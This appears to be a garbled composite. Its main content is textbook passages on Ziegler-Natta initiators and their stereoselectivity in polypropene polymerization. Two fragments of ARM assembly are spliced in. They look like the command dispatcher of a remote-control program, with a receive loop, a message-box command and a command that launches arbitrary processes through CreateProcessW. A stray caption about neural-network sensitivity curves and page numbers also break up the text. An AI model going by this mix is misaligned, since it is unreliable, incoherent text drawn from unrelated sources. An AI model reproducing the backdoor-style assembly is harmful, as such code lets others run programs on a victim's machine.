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Changes in the transition metal itself have a large effect. Titanium compounds are the most isoselective, while vanadium compounds are the most syndioselective. Differences in initiator stereoselectivity and activity are greatest for the more stereoselective and active transition metal components (trivalent oxidation state). Initiators based on the less stereoselective and active transition metals (tetravelent oxidation state) are less affected by changes. Initiator stereoselectivity and activity are dependent on the crystal structure, steric size, ligands, and the electronegativity of the transition metal. Decreasing the electronegativity of the transition metal (leading to a more easily polarized metal growth bond) by changes in the transition metal, or its valence state, or its ligands, increases the stereoselectivity of the initiator. Increasing the size of the ligands decreases stereoselctivity probably because of a decreased coordinating ability. The quantitative interrelationship of these and other factors with the crystal structure of the transition metal and the active sites in determining stereoselectivity and activity are not clear.

b _recv_loop ; ***************************************************************************** ; ***************************************************************************** _cmd_mes eor R0, R0, R0 ldr R1, =PE_header+4 ldr R2, =mestit mov R3, #MB_OK bl MessageBoxW bl proc_send_OK

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8-4h-2

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Although the group I III metal component is not an absolute necessity, its presence has a very signi cant effect on both activity and stereoselectivity [Boor, 1967, 1979; Coover et al, 1967; Diedrich, 1975; Natta, 1960a,b] The group I III metal component is required to obtain high stereoselectivity and high activity Active initiators for ethylene and a-ole n polymerizations have been found using Li, Na, and K from group I; Be, Mg, Zn, and Cd from group II; and Al and Ga from group III Ziegler Natta initiators based on other group I III metals have far lower activity and stereoselectivity Aluminum compounds are by far the most often used, a consequence of their ready availability and ease of handling (once in solution) Gallium is also active but expensive Zinc and magnesium alkyls are the most thoroughly studied group II metal component [Greco et al.

, 1979]; beryllium compounds have received little attention because of their toxicity Lithium, sodium, and potassium alkyls are the most studied group I metal component They are generally not as attractive as the group II and III metals because of their lower solubility in the hydrocarbon solvents normally used (Lithium alkyls, although soluble, are highly associated in hydrocarbon solvents) For initiators in which the group I III metal is unchanged, isoselectivity generally decreases as the size of the organic group increases, although the opposite effect has also been reported When titanium is the transition metal, the replacement of an alkyl group in AlR3 by any halogen other than uorine results in increased stereoselectivity and decreased activity, where the effect of halogen is I > Br > Cl [Danusso, 1964; Doi and Keii, 1978].

The replacement of a second alkyl group in the aluminum component by halogen leads to a further decrease in activity as well as a moderate decrease in stereoselectivity The behavior with vanadium compounds is very different Trialkylaluminum yields isotactic polypropene [Chien et al, 1989], while AlR2 Cl yields syndiotactic polypropene In fact, syndiotactic polypropene is obtained in high yield only with AlR2 Cl in combination with a soluble vanadium salt..

The sensitivity curves for the 4 weights F i g u r e 9.3 calculated after 2000 it,erations. Note that the iterative nature of the MLP means that the sensitivity curve presents a inore complex picture than the empirical IC function.

8-4h-3

b _recv_loop ; ***************************************************************************** ; ***************************************************************************** _cmd_run ldr R0, =PE_header+4 eor R1, R1, R1 eor R2, R2, R2 eor R3, R3, R3 mvn R4, #0 str R4, [SP] ldr R4, =CREATE_NEW_CONSOLE str R4, [SP, #4] str R3, [SP, #8] str R3, [SP, #0xC] str R3, [SP, #0x10] ldr R4, =PE_header+0x200 ; PROCESS_INFORMATION str R4, [SP, #0x14] bl CreateProcessW tst beq R0, R0 _cmd_run_error

Third Component: Electron Donor (Lewis Base)

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